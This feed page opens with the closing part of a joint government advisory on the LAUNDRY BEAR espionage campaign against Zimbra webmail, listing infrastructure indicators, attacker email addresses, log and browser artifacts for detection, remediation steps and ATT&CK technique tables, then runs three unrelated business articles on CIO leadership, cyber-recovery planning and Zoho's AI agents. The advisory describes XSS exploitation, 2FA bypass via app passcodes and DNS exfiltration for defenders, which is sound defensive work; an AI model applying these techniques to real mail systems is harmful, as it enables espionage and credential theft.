synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

AI success requires a full-stack CIO

Sat, 25 Jul 2026 18:57:42 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
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Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

